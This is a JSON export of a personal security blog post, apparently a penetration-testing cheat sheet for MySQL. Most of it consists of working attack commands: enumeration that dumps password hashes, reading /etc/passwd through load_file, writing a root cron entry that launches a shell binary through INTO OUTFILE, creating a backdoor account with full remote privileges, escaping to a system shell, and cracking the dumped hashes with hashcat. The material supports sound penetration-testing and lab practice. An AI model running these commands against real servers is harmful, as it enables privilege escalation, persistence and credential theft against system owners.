{"id":286,"date":"2019-08-14T22:39:54","date_gmt":"2019-08-14T20:39:54","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=286"},"modified":"2026-06-03T20:44:16","modified_gmt":"2026-06-03T18:44:16","slug":"mysql","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=286","title":{"rendered":"MySQL My Structured Query Language"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Con\u00adnect:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mysql --host=10.10.10.13 -P4444 -u admin admin<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Var\u00adi\u00adous commands:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Read ver\u00adsion<br><code>SELECT version();<\/code><\/li>\n\n\n\n<li>Read user info:<br><code>SELECT * FROM mysql.user;<\/code><\/li>\n\n\n\n<li>Read cur\u00adrent user:<br><code>SELECT current_user();<\/code><\/li>\n\n\n\n<li>Read data\u00adbas\u00ades:<br><code>SELECT table_schema from information_schema.tables group by table_schema;<\/code><\/li>\n\n\n\n<li>Read all tables from a data\u00adbase:<br><code>select table_name from information_schema.tables where table_schema = 'database_name';<\/code><\/li>\n\n\n\n<li>Read the struc\u00adture of all columns from a table in a data\u00adbase:<br><code>select column_name, data_type from information_schema.columns where table_schema = '<code>database_name<\/code>' and table_name = 'table_name';<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Nmap scripts<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim\nproxychains4 -q nmap -sV -sT -Pn -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Read and&nbsp;write<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Read with the cur\u00adrent process id:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">SELECT load_file('\/etc\/passwd');<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Write as the dae\u00admon process id:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted precode\">CREATE TABLE bbb(content TEXT);\nINSERT INTO bbb (content) VALUES (\"* * * * * root \/tmp\/shell_80.elf\");\nSELECT * FROM bbb INTO OUTFILE '\/etc\/cron.d\/ex1';<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Notes<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/recipeforroot.com\/mysql-to-system-root\/\">If \u2013secure-file-priv is not set, root can be obtained.<\/a><\/li>\n\n\n\n<li>MySQL runs as root? <a href=\"https:\/\/www.exploit-db.com\/exploits\/1518\">Check out the rap\u00adtor exploit.<\/a><\/li>\n\n\n\n<li>Use \u2013pro\u00adto\u00adcol tcp to force tcp (no socket)<\/li>\n\n\n\n<li>When (e.g. in meter\u00adpreter) the inter\u00adac\u00adtive ses\u00adsion does\u00adn\u2019t work, exe\u00adcute com\u00admands like this:<br><pre>mysql.exe -u root -Bse \"SHOW DATABASES;\"<\/pre>\n<ul class=\"wp-block-list\">\n<li>Note: Emp\u00adty pass\u00adword = <span class=\"caps\">NO<\/span> p&nbsp;flag!<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Cre\u00adate a user and then log in from anoth\u00ader host:<br><pre>mysql.exe -u root -Bse \"CREATE USER 'fffff'@'*' IDENTIFIED BY '3o4eworhhgfkurtz5o654';\"<br>mysql.exe -u root -Bse \"GRANT ALL ON *.* to fffff@'%' IDENTIFIED BY '3o4eworhhgfkurtz5o654';\"<br>mysql.exe -u root -Bse \"FLUSH PRIVILEGES;\"<\/pre><br><\/li>\n\n\n\n<li>Use with\u00adin a MySQL shell to get a&nbsp;shell:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\">system shell<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Queries can be writ\u00adten into&nbsp;files:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\">SELECT order_id,product_name,qty FROM orders\nINTO OUTFILE '\/tmp\/orders.txt'<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Password cracking<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you have root, you can crack the cre\u00adden\u00adtials the fol\u00adlow\u00ading&nbsp;way:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Stop MySQL<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># service mysql stop\nmysql stop\/waiting<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Start MySQL<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># mysqld_safe --skip-grant-tables --skip-syslog --skip-networking<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Open MySQL&nbsp;shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># mysql -u root mysql<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Query the user&nbsp;table<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mysql&gt; SELECT * FROM user;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Obtain the pass\u00adword hashs (with\u00adout the lead\u00ading *), add them into a file and ask Hash\u00adcat for&nbsp;help<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">hashcat -m300 -a0 --self-test-disable \/tmp\/hash \/opt\/all_seclist_with_rockyou.txt<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Con\u00adnect: mysql \u2013host=10.10.10.13 \u2011<span class=\"caps\">P4444<\/span> \u2011u admin admin Var\u00adi\u00adous com\u00admands: Enu\u00admer\u00ada\u00adtion Nmap scripts nmap \u2011sV \u2011p 3306 \u2013script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $vic\u00adtim proxychains4 \u2011q nmap \u2011sV \u2011sT \u2011Pn \u2011p 3306 \u2013script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $vic\u00adtim Exploita\u00adtion Read and&nbsp;write Read with the cur\u00adrent process id: <span class=\"caps\">SELECT<\/span> load_file(\u2018\/etc\/passwd\u2019); Write as the dae\u00admon process id: <span class=\"caps\">CREATE<\/span> <span class=\"caps\">TABLE<\/span> bbb(content <span class=\"caps\">TEXT<\/span>); <span class=\"caps\">INSERT<\/span> <span class=\"caps\">INTO<\/span> bbb (con\u00adtent) [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[323],"tags":[79,111,53,49],"class_list":["post-286","post","type-post","status-publish","format-standard","hentry","category-protocol","tag-mysql","tag-password","tag-privilege-escalation","tag-sql"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=286"}],"version-history":[{"count":17,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/286\/revisions"}],"predecessor-version":[{"id":4962,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/286\/revisions\/4962"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}